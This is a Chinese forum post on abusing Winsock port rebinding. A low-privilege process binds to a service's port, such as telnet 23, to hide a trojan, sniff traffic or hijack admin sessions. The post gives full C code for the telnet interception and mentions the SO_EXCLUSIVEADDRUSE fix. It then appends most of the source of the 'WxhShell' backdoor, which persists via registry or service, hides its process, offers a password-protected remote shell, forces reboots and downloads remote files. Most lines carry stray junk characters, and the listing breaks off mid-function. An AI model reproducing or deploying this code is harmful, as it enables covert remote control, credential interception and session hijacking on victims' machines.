社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 11148阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: l+nT$IPF  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); X'uQr+p^  
c-VIpA1  
  saddr.sin_family = AF_INET; `!(I Q&  
J?#Xy9dz  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 0Sj B&J  
7Is:hx|:  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ]9 $iUA%Ef  
Lv&9s  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ;mT  
+)xjw9b  
  这意味着什么?意味着可以进行如下的攻击: <N{wFvF  
XCyU)[wY  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 vSnGPLl  
(S~kNbIa  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) r03%+:  
zC,c9b  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 X $2f)3  
zJ6""38Pr  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  %?hvN  
y{KYR)   
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 q6PG=9d0B  
.H@b zm  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Cs4ks`Z18  
uG$*DeZti  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 $ \+x7"pI  
9OYyR  
  #include eo*l^7  
  #include l6*MiX]q  
  #include ]Z nASlc)  
  #include    ^H0#2hFa  
  DWORD WINAPI ClientThread(LPVOID lpParam);   e9RH[:  
  int main() S]&:R)#@  
  {  PI.Zd1r  
  WORD wVersionRequested; QWc,JCu  
  DWORD ret; KKq%'y)u^  
  WSADATA wsaData; $cW t^B'  
  BOOL val; %*NED zy  
  SOCKADDR_IN saddr; -7KoR}Ck!  
  SOCKADDR_IN scaddr; P;`Awp?  
  int err; jF-:e;-  
  SOCKET s; &,P; 7R  
  SOCKET sc; a&2UDl%K  
  int caddsize; [vY#9W"!  
  HANDLE mt; 5Gs>rq" #  
  DWORD tid;   [D+,I1u2h  
  wVersionRequested = MAKEWORD( 2, 2 ); TSD7R  
  err = WSAStartup( wVersionRequested, &wsaData ); : *XAQb0  
  if ( err != 0 ) { RFLfvD<  
  printf("error!WSAStartup failed!\n"); IH&0>a  
  return -1; 0xx4rp H  
  } <+-=j  
  saddr.sin_family = AF_INET; "}"/d(  
   qSGM6kb  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 !1Hs;K  
:R`e<g~4  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 5 JlgnxRq  
  saddr.sin_port = htons(23); H:|.e)$i  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) k`;d_eW  
  { * RyU*au  
  printf("error!socket failed!\n"); 8_E(.]U  
  return -1; b}DC|?~M  
  } gW<6dP'v  
  val = TRUE; DZ @B9<Zz{  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 $KQ q~|  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) YKz#,  
  { 9%Tqk"x?  
  printf("error!setsockopt failed!\n"); Zs]n0iwM'@  
  return -1; {sf ,(.W  
  } gxhdxSm=2  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; -uxU[E  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 u]Q}jqiq"  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 +;\w'dBi,  
3"zPG~fY{  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) a{ L&RRJ  
  { Yj'9|4%+|  
  ret=GetLastError(); I-}ms  
  printf("error!bind failed!\n"); zrqI^i"c  
  return -1; S]ayH$w\Q  
  } z{|0W!nHJ  
  listen(s,2); =tbfBK+  
  while(1) qTK(sW  
  { UWnF2,<s;  
  caddsize = sizeof(scaddr); /7])]vZ_  
  //接受连接请求 Ka6u*:/  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); L}CU"  
  if(sc!=INVALID_SOCKET) 8{=|<  
  { m94PFD@N  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Q=8YAiCu  
  if(mt==NULL) %g:'6%26  
  { Z1jxu;O(  
  printf("Thread Creat Failed!\n"); 1)^\R(l  
  break; =.7tS'  
  } P JATRJ1.  
  } _7\`xU  
  CloseHandle(mt); Y<|JhqOXK  
  } 24nNRTI  
  closesocket(s); :o' |%JE  
  WSACleanup(); {ZrlbDQX  
  return 0; umWs8-'Uw  
  }   aPzn4}~/_  
  DWORD WINAPI ClientThread(LPVOID lpParam) YHO}z}f[!  
  { pHoHngyi&  
  SOCKET ss = (SOCKET)lpParam; r-wCAk}m*?  
  SOCKET sc; %'ah,2a%  
  unsigned char buf[4096]; '5 Yzo^R;  
  SOCKADDR_IN saddr; f*<Vq:N=\  
  long num; F{;#\Ob  
  DWORD val; faDS!E' +  
  DWORD ret; NuPlrCy;  
  //如果是隐藏端口应用的话,可以在此处加一些判断 0uIY6e0E  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Y ~g\peG7  
  saddr.sin_family = AF_INET; jan}}7Dly  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); haBmwq(f  
  saddr.sin_port = htons(23); ,|d9lK`"P  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) _Iminet  
  { |YsR;=6wT  
  printf("error!socket failed!\n"); :P}3cl_  
  return -1; ^7wqb'xg  
  } 6FNGyvBU  
  val = 100; 'x{oAtCP9  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) @]%eL  
  { triU^uvh  
  ret = GetLastError(); {Y@shf;  
  return -1; ~9 .=t'  
  } }< H>9iJ:  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) jQ;/=9  
  { -'g> i  
  ret = GetLastError(); &muBSQ-  
  return -1; ':fp|m)M  
  } ttUK~%wSx  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) t*9 gusmG  
  { I)V=$r{  
  printf("error!socket connect failed!\n"); $/s"It  
  closesocket(sc); 2L1y4nnbwo  
  closesocket(ss);  s[{[pIH  
  return -1; nf^?X`g  
  } mP&\?  
  while(1) CdF;0A9.3  
  { QZ l#^-on  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 tO{{ci$-T  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 #Z1-+X8P  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 mA{?E9W  
  num = recv(ss,buf,4096,0); udqrHR5  
  if(num>0) -$W1wb9z  
  send(sc,buf,num,0); jcJ 4?  
  else if(num==0) ?).;cG:<  
  break; ?)|}gr  
  num = recv(sc,buf,4096,0); <4LJ #Fx  
  if(num>0) z )'9[t  
  send(ss,buf,num,0); `=H*4I-"  
  else if(num==0) sko7,&  
  break; 84QOW|1  
  } a$|U4Eqo  
  closesocket(ss); k}v`UiGM  
  closesocket(sc); v1 8<~  
  return 0 ; %jzTQ+.%]^  
  } n#g_)\  
A:< %>  
#+1|O;PB#  
========================================================== -n.m "O3  
(p{%]M  
下边附上一个代码,,WXhSHELL 8In\Jo$|q>  
|-x-CSN  
========================================================== n7fhc*}:`  
!CUl1L1DSi  
#include "stdafx.h" EL`|>/[J  
y017 B<Ou  
#include <stdio.h> 6?F88;L  
#include <string.h> &N^~=y^`C'  
#include <windows.h> _ l|%~  
#include <winsock2.h> ~D9Cu>d9  
#include <winsvc.h> 7A\`  
#include <urlmon.h> o6MFMA+vi  
3W7^,ir  
#pragma comment (lib, "Ws2_32.lib") :awkhx  
#pragma comment (lib, "urlmon.lib") OP1` !P y  
KAClV%jP  
#define MAX_USER   100 // 最大客户端连接数 `-uE(qp  
#define BUF_SOCK   200 // sock buffer ^wolY0p  
#define KEY_BUFF   255 // 输入 buffer S/XU4i:aV  
aDdGhB  
#define REBOOT     0   // 重启 \Ip)Lm0  
#define SHUTDOWN   1   // 关机 W_2;j)i  
oRCc8&  
#define DEF_PORT   5000 // 监听端口 nZbI}kcm  
 Y${'  
#define REG_LEN     16   // 注册表键长度 {!|4JquE_  
#define SVC_LEN     80   // NT服务名长度 3[ [oAp  
8X,6U_>#a  
// 从dll定义API ~pRgTXbz  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); #SHeK 4  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); hN2A%ds*(j  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); }qiZ%cT.G  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %XG m\p  
^xa, r#N:V  
// wxhshell配置信息 @q'kKVJs  
struct WSCFG { &IQ=M.!r  
  int ws_port;         // 监听端口 uI-T]N:W8x  
  char ws_passstr[REG_LEN]; // 口令 P+j=]Yg  
  int ws_autoins;       // 安装标记, 1=yes 0=no 9~Dg<wQ  
  char ws_regname[REG_LEN]; // 注册表键名 z ?\it(  
  char ws_svcname[REG_LEN]; // 服务名 'GJB9i+a^  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 j9NF|  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 b)I-do+  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 rRq60A  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Cq2Wpu-u  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" k4ti#3W5eG  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ,s~l; Gkj  
5?-HQoT)G  
}; bgor W"'  
wD9K\%jIr!  
// default Wxhshell configuration ]W5*R07  
struct WSCFG wscfg={DEF_PORT, 7'IIB1v.\  
    "xuhuanlingzhe", Q~ U\f$N  
    1, ,R[$S"]!SH  
    "Wxhshell", UGPDwgq\v  
    "Wxhshell", V.*TOU{{xh  
            "WxhShell Service", BD C DQ  
    "Wrsky Windows CmdShell Service", E@SFK=`  
    "Please Input Your Password: ", P1mg;!tq  
  1, >1s a*Wf  
  "http://www.wrsky.com/wxhshell.exe", jo:Z  
  "Wxhshell.exe" "0CFvN'4  
    }; <K[y~9u  
63W;N7@  
// 消息定义模块 z;qDl%AF  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; StI N+S@Z  
char *msg_ws_prompt="\n\r? for help\n\r#>"; cT'Bp)a  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; XGSFG ~d  
char *msg_ws_ext="\n\rExit."; 072C!F  
char *msg_ws_end="\n\rQuit."; IA`voO$  
char *msg_ws_boot="\n\rReboot..."; Cb;6yE)!Z  
char *msg_ws_poff="\n\rShutdown..."; =p@`bx  
char *msg_ws_down="\n\rSave to "; XZ%,h  
cdMSC7l!  
char *msg_ws_err="\n\rErr!"; hObL=^F  
char *msg_ws_ok="\n\rOK!"; &42 ]#B"*  
Ooz ,?wU6  
char ExeFile[MAX_PATH]; .==D?#bn  
int nUser = 0; *kLFs|U  
HANDLE handles[MAX_USER]; /L^g. ~  
int OsIsNt; +Ryj82;59z  
G WIsT\J  
SERVICE_STATUS       serviceStatus; $f =`fPo  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; zq};{~u(  
cLZ D\1Mt  
// 函数声明 P=n_wE  
int Install(void); RAO+<m  
int Uninstall(void); ETHcZ  
int DownloadFile(char *sURL, SOCKET wsh); z&%i"IY  
int Boot(int flag); =*\.zr  
void HideProc(void); xOTvrX  
int GetOsVer(void); r{ R-X3s  
int Wxhshell(SOCKET wsl); ,R{&x7  
void TalkWithClient(void *cs); Sb`[+i' `  
int CmdShell(SOCKET sock); 6^b)Q(Edut  
int StartFromService(void); 64/ZfXD  
int StartWxhshell(LPSTR lpCmdLine); XJ<"S p  
lCU clD  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); & &}_[{fc  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); P)Adb~r  
h[remR# 3\  
// 数据结构和表定义 N )Z>]&5  
SERVICE_TABLE_ENTRY DispatchTable[] = W;OGdAa_  
{ Clum m@z;#  
{wscfg.ws_svcname, NTServiceMain}, P =X]'m_B  
{NULL, NULL} =2p?_.|'  
}; Ypyi(_G(?>  
oYu xkG  
// 自我安装 |A3"Jc.2o  
int Install(void) IBT>&(cnV  
{ w 0BphK[  
  char svExeFile[MAX_PATH]; eft=k}  
  HKEY key; pQa51nc  
  strcpy(svExeFile,ExeFile); O\=Z;}<N  
F1yn@a "=J  
// 如果是win9x系统,修改注册表设为自启动 )  ;0  
if(!OsIsNt) { 9kD#'BxC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8T3,56 >  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); WzzA:X  
  RegCloseKey(key);  ew1L+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `LkrG9KV{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Dmh$@Uu#F  
  RegCloseKey(key); 1mmL`M1  
  return 0; -gs I:-Xo  
    } o-8{C0>:  
  } gNZwD6GMe?  
} wiN0|h>,  
else { >j?5?J"  
;dzy 5o3  
// 如果是NT以上系统,安装为系统服务 !BoGSI  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); \g34YY^L3  
if (schSCManager!=0) )g:5}+  
{ tb&?BCp  
  SC_HANDLE schService = CreateService 9 /H~hEVK  
  ( s-CAo~,  
  schSCManager, iWt%Boyi  
  wscfg.ws_svcname, [(n5-#1S  
  wscfg.ws_svcdisp, JO|j?%6YY  
  SERVICE_ALL_ACCESS, 6(E4l5 %  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Z 8w\[AF{$  
  SERVICE_AUTO_START, K GgtEh|  
  SERVICE_ERROR_NORMAL, n5QO'Jr%[  
  svExeFile, Z|qI[uiO  
  NULL, V>Jr4z  
  NULL, li*S^uSF  
  NULL, 2U./ Yfk\  
  NULL, =zn'0g, J4  
  NULL dy6zrgxygP  
  ); 2? E;(]dQ  
  if (schService!=0) 1| sem(t  
  { VD.TosVeWo  
  CloseServiceHandle(schService); MXSD8]je  
  CloseServiceHandle(schSCManager); g (&cq  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); H>+/k-n-  
  strcat(svExeFile,wscfg.ws_svcname); t=7Gfv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { UuIjtqW  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); .<t{saToU  
  RegCloseKey(key); )>ff"| X  
  return 0; ?i<l7   
    } <J^5l0)q  
  } \6 \bD<  
  CloseServiceHandle(schSCManager); L\4rvZa  
} 8O^x~[sQ  
} >M5}L<  
f,O10`4s  
return 1; J^"_H:1[  
} :cA P{rSe  
1:eWZ]B5"  
// 自我卸载 = o(}=T>:"  
int Uninstall(void) R,T0!f  
{ 'ON/WKJr|W  
  HKEY key; va@;V+cD  
;W{z"L;nX  
if(!OsIsNt) { 5j`sJvq  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8$-MUF,  
  RegDeleteValue(key,wscfg.ws_regname); 6Jgl"Jw8  
  RegCloseKey(key); rRevyTs  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8J,^O04<  
  RegDeleteValue(key,wscfg.ws_regname); `O7vPE  
  RegCloseKey(key); ]{tWfv|Xg8  
  return 0; :Ou~?q%X  
  } 6@|!m'  
} >.SO2w  
} T]0K4dp+  
else { /[6wm1?!  
'Ft81e)/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); S:!5 |o|  
if (schSCManager!=0) KLe6V+ki*  
{ ~ T}D#}  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); E zcch1  
  if (schService!=0) "*zDb|v  
  { Q^{TcL8  
  if(DeleteService(schService)!=0) { g(P7CX+y  
  CloseServiceHandle(schService); /,I?"&FWc  
  CloseServiceHandle(schSCManager); u4lM>(3Y}  
  return 0; ^fKKsfIf  
  } |e8A)xM]wC  
  CloseServiceHandle(schService); (U5XB [r_P  
  } ZvuY] =^3  
  CloseServiceHandle(schSCManager); 5^uX!_ r`  
} _U}|Le@ e  
} 5{-Hg[+9  
M0m%S:2  
return 1; 7NEOaX(J9  
} azmeJpC  
ydD:6bBX  
// 从指定url下载文件 B)/&xQu  
int DownloadFile(char *sURL, SOCKET wsh) EW]DzL 3  
{ >0kL9_9{  
  HRESULT hr; <2*+Y|Lk2  
char seps[]= "/"; G,A?yM'Vw  
char *token; ,pcyU\68v  
char *file; , JH*l:7  
char myURL[MAX_PATH]; #NT~GhWFf  
char myFILE[MAX_PATH]; LEKE+775  
a3A-N] ;f  
strcpy(myURL,sURL); ^Ip\`2^u  
  token=strtok(myURL,seps); uEPm[oyX  
  while(token!=NULL) L e~D"d8  
  { '5$: #|-  
    file=token; Il/`#b@h  
  token=strtok(NULL,seps); fCa lR7!  
  } wOUCe#P|r  
'!X`X=  
GetCurrentDirectory(MAX_PATH,myFILE); qw4wg9w5p  
strcat(myFILE, "\\"); wB8548C}-  
strcat(myFILE, file); =YYqgNz+\w  
  send(wsh,myFILE,strlen(myFILE),0); 2s2KI=6  
send(wsh,"...",3,0); (q"S0{  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); #d8]cm=  
  if(hr==S_OK) bIt{kzuQC  
return 0; qUe2(/TQu  
else }0R"ZPU1Rw  
return 1; _u-tRHh|A  
0lt1/PEKx2  
} (Vey]J  
z V $Z@o  
// 系统电源模块 @ &c@  
int Boot(int flag) !/2kJOSp  
{ d}E6d||A  
  HANDLE hToken; ;d7Qw~v1s  
  TOKEN_PRIVILEGES tkp; L%7WHtU*#  
+L?;g pVE&  
  if(OsIsNt) { g3n>}\xG>  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); E#w2'(t  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); I2{zy|&  
    tkp.PrivilegeCount = 1; g7%vI8Y)@  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ;rJ#>7K  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); L-W*h  
if(flag==REBOOT) { _58&^:/^  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) TFc/`  
  return 0; C 1HNcfa7  
} >taT V_,  
else { R{4[.  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) wj$3 L3  
  return 0; yaj1nq! *"  
} w2"]%WS%  
  } 7<Ut/1$MI  
  else { i/N68  
if(flag==REBOOT) { H_JT"~_2  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) }LBrk0]  
  return 0; ~}YgZ/U7T  
} "(F:'J} X  
else { qB3& F pgW  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ({rescQB  
  return 0; TAM`i3{D  
} ;f3))x  
} #"-w;T%b  
1eqFMf  
return 1; XK l3B=h  
} )Z?\9'6e4  
Y%rC\Ij/i  
// win9x进程隐藏模块 MM+nE_9lV  
void HideProc(void) ~xZ )btf  
{ am WIA`n=  
Qa16x<Xlm  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); xJzO?a'  
  if ( hKernel != NULL ) {-c[w&q  
  { .Wyx#9  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); wCr+/" t  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); i V%tn{fc  
    FreeLibrary(hKernel); (P:.@P~  
  } Jxb+NPUB  
~f2-%~  
return; YsjTC$Tx,  
} wmv/ ?g  
Vzrp9&loY  
// 获取操作系统版本 vn5]+-I  
int GetOsVer(void) ! F&{I  
{ :'dH)yO  
  OSVERSIONINFO winfo; @6DV?VL  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); !Ys.KDL  
  GetVersionEx(&winfo); x:Tm4V{  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Ps MCs|*  
  return 1; _1Iw"K49Qx  
  else nIP*yb}5  
  return 0; QXT *O  
} oY%NDTVN  
Jo ]8?U(^  
// 客户端句柄模块 _q\w9gN  
int Wxhshell(SOCKET wsl) Q_R&+@ju  
{ :] +D+[c)  
  SOCKET wsh; G0h7MO%x  
  struct sockaddr_in client; bl B00   
  DWORD myID; 4[]4KKO3Q2  
@xtfm.}  
  while(nUser<MAX_USER) t?kbN\,  
{ n|iO)L\9aB  
  int nSize=sizeof(client); ^RS`q+g  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); yX8$LOjE  
  if(wsh==INVALID_SOCKET) return 1; 5SY(:!  
VJ(#FA2  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); w+owx(mN@  
if(handles[nUser]==0) #PRkqg+|  
  closesocket(wsh); Ih0kd i  
else bjJ212J  
  nUser++; <yrl_vl{  
  } wg,w;Gle  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); <[GkhPfZ  
-i?-Xj#%  
  return 0; |q\:3R_0  
} S-6 %mYf  
:u53zX[v  
// 关闭 socket )b AcU  
void CloseIt(SOCKET wsh) Hlq#X:DCn  
{ &P{[22dQ  
closesocket(wsh); O}#h^AU-BS  
nUser--; ] Vbv64M3  
ExitThread(0); 4h~o>(Sq  
} O9W|&LAL  
"h}miVArS  
// 客户端请求句柄 }%9A+w}o  
void TalkWithClient(void *cs) F&lvofy23  
{ RI_3X5.KQ  
WY%'ps _]<  
  SOCKET wsh=(SOCKET)cs; 'e>0*hF[  
  char pwd[SVC_LEN]; ] T! >]  
  char cmd[KEY_BUFF]; }A`4ae=  
char chr[1]; ZtfPB  
int i,j; mMvt#+O  
B@Q Ate7   
  while (nUser < MAX_USER) { 4`7:gfrO,  
v9OK <  
if(wscfg.ws_passstr) { h>+,ba"D  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0xM\+R~,  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0"L_0 t:  
  //ZeroMemory(pwd,KEY_BUFF); #}W^d^-5t5  
      i=0; 2 -uL  
  while(i<SVC_LEN) { Z;QbqMj  
i 7 f/r.  
  // 设置超时  u m[nz  
  fd_set FdRead; aD@sb o  
  struct timeval TimeOut; n15F4DnP  
  FD_ZERO(&FdRead); PSQ5/l?\>  
  FD_SET(wsh,&FdRead); k/yoRv%  
  TimeOut.tv_sec=8; /t083  
  TimeOut.tv_usec=0; y-93 >Y  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); >I3#ALF  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); {? jr  
O&?i8XsB  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Q!:J.J  
  pwd=chr[0]; iC`K$LY4W  
  if(chr[0]==0xd || chr[0]==0xa) { d[5?P?h')  
  pwd=0; /JfRy%31  
  break; )FkJ=P0  
  } :.IVf Zw  
  i++; VMUK|pC4 K  
    } %_!YonRY|X  
h$FpH\-  
  // 如果是非法用户,关闭 socket  IR,`-  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?j{LE- (  
} kmm1b (  
UHYnl ]  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); shOQ/  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); d3# >\QCD9  
eEIa=MB*  
while(1) { sV+/JDl  
 DKu4e  
  ZeroMemory(cmd,KEY_BUFF); '@h5j6:2  
YAqv:  
      // 自动支持客户端 telnet标准   gh3XC.&  
  j=0; 3EN?{T<yf  
  while(j<KEY_BUFF) { %B$~yx3#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A7|!&fi  
  cmd[j]=chr[0]; oq4*m[  
  if(chr[0]==0xa || chr[0]==0xd) { F{a--  
  cmd[j]=0; y8uB>z+#+;  
  break; t/\J  
  } ++Qg5FukR  
  j++; Cyg\FHs  
    } WUSkN;idVG  
hTZaI*  
  // 下载文件 pDO&I]S`q0  
  if(strstr(cmd,"http://")) { WhsTKy&E  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Rw\ LVRdA  
  if(DownloadFile(cmd,wsh)) p `)(  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); cTpAU9|(  
  else xioL6^(Qk,  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  g-MaP  
  } hmv"|1Sa!~  
  else { Iq`:h&'!L  
f\FubL  
    switch(cmd[0]) { 8.4 1EKr2  
  zi7,?bD  
  // 帮助 JX%B_eUlAs  
  case '?': { >h+[#3vD  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); K]4XD1n7  
    break; +.gM"JV  
  } RN(>37B3_  
  // 安装 TxL;qZRY ^  
  case 'i': { jU\vg;nr  
    if(Install()) ?;Ck]l#5ys  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Gq_rZo(@  
    else $xRZU9+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 56k89o  
    break; VPG+]> *  
    } v0762w  
  // 卸载 ^.5`jdk  
  case 'r': { 8zv=@`4@G  
    if(Uninstall()) 34ij5bko_)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); acd8?>%[  
    else W`HO Q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R[Y]B$XO  
    break; * 7: )k  
    } DU9A3Z  
  // 显示 wxhshell 所在路径 bqjj6bf'o  
  case 'p': { XRi/O)98o  
    char svExeFile[MAX_PATH]; X2>qx^jT  
    strcpy(svExeFile,"\n\r"); ?;1^8 c0  
      strcat(svExeFile,ExeFile); t?J Y@hT*  
        send(wsh,svExeFile,strlen(svExeFile),0); bvZTB<rA  
    break; ,MkldCV  
    } K:Mm?28s  
  // 重启 P|mV((/m4  
  case 'b': { 2 MFGKzO  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); *~b3FLzq  
    if(Boot(REBOOT)) n3w(zB  
